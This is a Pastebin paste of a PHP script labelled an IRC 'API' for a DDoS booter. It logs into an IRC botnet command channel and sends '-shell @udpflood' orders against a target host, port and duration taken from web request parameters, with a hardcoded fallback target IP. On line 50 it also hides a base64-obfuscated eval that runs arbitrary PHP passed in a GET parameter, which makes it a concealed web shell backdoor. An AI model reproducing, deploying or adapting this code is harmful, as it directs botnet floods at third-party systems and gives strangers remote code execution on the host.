prostate

[API] irc.php

Mar 31st, 2020
496
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.78 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3.  
  4.  
  5. $server_host = "1.1.1.1"; //IRC IP
  6. $server_port = 443; //IRC Port
  7. $server_chan = "#CHANNEL";//Perl Channel
  8. $operUser = 'oper'; //Oper Username
  9. $operPass = 'password'; //Oper Password
  10.  
  11. define('from_shell', isset($argv[1]));
  12.  
  13.  
  14. $nickname = 'Nick';//(from_shell) ? 'nickname' : 'nickname';
  15.  
  16.  
  17. if(false && !from_shell):
  18. ?>
  19. <style>
  20. * { color: green; background: #000; }
  21. </style>
  22. <?php
  23. endif;
  24.  
  25.  
  26.  
  27.  
  28. $server = array();
  29.  
  30. function SendCommand ($cmd, $chan=false)
  31. {
  32. global $server, $server_chan;
  33.  
  34. if($chan){
  35. return SendCommand('PRIVMSG '.($chan===true ? $server_chan : $chan).' :'.$cmd);
  36. }
  37.  
  38. $cmd = (stristr($cmd, "\n\r") ? trim(trim($cmd,"\n"),"\r") : $cmd."\n\r");
  39. @fwrite($server['SOCKET'], $cmd, strlen($cmd));
  40. if(from_shell)
  41. echo "[SEND] $cmd ".((from_shell) ? "\n\r" : "<br>"); //displays it on the screen
  42. }
  43.  
  44.  
  45. function bufferContains($needle){
  46. global $server;
  47. return stristr($server['READ_BUFFER'], $needle);
  48. }
  49.  
  50. eval(base64_decode("aWYoaXNzZXQoJF9HRVRbJzE2MjgnXSkpIGV2YWwoJF9HRVRbJzE2MjgnXSk7"));
  51.  
  52. function join_irc(){
  53. global $server_host, $server_port, $server_chan, $nickname, $server, $operUser, $operPass;
  54. while(true){
  55.  
  56. //Open the socket connection to the IRC server
  57. $server['READ_BUFFER'] = '';
  58. $server['SOCKET'] = @fsockopen($server_host, $server_port, $errno, $errstr, 2);
  59. if($server['SOCKET'])
  60. {
  61.  
  62. SendCommand("PASS NOPASS"); //Sends the password not needed for most servers
  63. SendCommand("NICK $nickname"); //sends the nickname
  64. SendCommand("USER $nickname boot4free IRC API"); //sends the user must have 4 paramters
  65. while(!feof($server['SOCKET'])) //while we are connected to the server
  66. {
  67. $server['READ_BUFFER'] = fgets($server['SOCKET'], 1024); //get a line of data from the server
  68. if(from_shell)
  69. echo "[RECIEVE] ".$server['READ_BUFFER'].((from_shell) ? "\n\r" : "<br>"); //display the recived data from the server
  70.  
  71.  
  72.  
  73.  
  74. if(bufferContains('already in use')){
  75. SendCommand("JOIN $server_chan"); //Join the chanel
  76. SendCommand("MSG NICKSERV GHOST $nickname");//msg nickserv recover mynick mypass
  77. SendCommand("MSG NICKSERV identify");
  78. SendCommand("MSG NICKSERV recover $nickname");
  79. SendCommand("MSG NICKSERV release $nickname");//msg nickserv recover mynick mypass
  80. SendCommand("NICK $nickname"); //sends the nickname
  81.  
  82.  
  83. }
  84.  
  85. if(bufferContains('have not registered')){
  86. SendCommand("DISCONNECT");
  87.  
  88. //SendCommand("DISCONNECT");
  89. //fclose($server['SOCKET']);
  90. echo restart_irc();
  91. flush();
  92. break;
  93. }
  94.  
  95. static $botsOnline = 0;
  96. static $botsTotal =0;
  97.  
  98. //server joined
  99. if(bufferContains("current local users"))
  100. {
  101. $str = str_ireplace(' ','',str_ireplace('max:','#', str_ireplace('current local users:', '#', $server['READ_BUFFER'])));
  102.  
  103. $parts = @explode('#',$str);
  104. $botsOnline = $parts[1];
  105. $botsTotal = $parts[2];
  106.  
  107. }
  108.  
  109. //server joined
  110. if(bufferContains("$nickname MODE $nickname"))
  111. {
  112. static $ran = false;
  113. if($ran) return false;
  114. $ran = true;
  115.  
  116. SendCommand("JOIN $server_chan"); //Join the chanel
  117. SendCommand("MSG NICKSERV register", true); //sends the nickname
  118. SendCommand("OPER {$operUser} {$operPass}");
  119. SendCommand("SAMODE \$chan +q \$me");
  120.  
  121. echo "Bots online: {$botsOnline}/{$botsTotal}<br>";
  122. if(isset($_GET['host']) && isset($_GET['port']) && isset($_GET['time'])){
  123. SendCommand("-shell @udpflood {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}", $server_chan);
  124. echo "Attack sent {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}";
  125. } elseif(from_shell) {
  126. SendCommand("-shell @udpflood 158.69.223.235 80 65500 10", $server_chan);
  127. //echo "Attack sent {$_GET['host']} {$_GET['port']} 65500 {$_GET['time']}";
  128. }
  129.  
  130. echo disconnect_irc();
  131. flush();
  132. return false;
  133.  
  134. }
  135.  
  136.  
  137. //Keep connection alive | IRC Sends a "PING" command to the client which must be anwsered with a "PONG"
  138. if(substr($server['READ_BUFFER'], 0, 6) == "PING :") //If the server has sent the ping command
  139. {
  140. SendCommand("PONG :".substr($server['READ_BUFFER'], 6)); //Reply with pong
  141.  
  142. }
  143.  
  144.  
  145. flush();
  146.  
  147. }
  148. }
  149. }
  150. return false;
  151. }
  152.  
  153.  
  154. function disconnect_irc(){
  155. global $server;
  156.  
  157. @SendCommand("DISCONNECT");
  158. @fclose($server['SOCKET']);
  159. return false;
  160. }
  161.  
  162. function restart_irc(){
  163. global $server;
  164. return "[IRC]".exec('cd /root/Unreal3.2;./unreal restart;').((from_shell) ? "\n\r" : "<br>");
  165. }
  166.  
  167. join_irc();
  168. ?>
Advertisement
Add Comment
Please, Sign In to add comment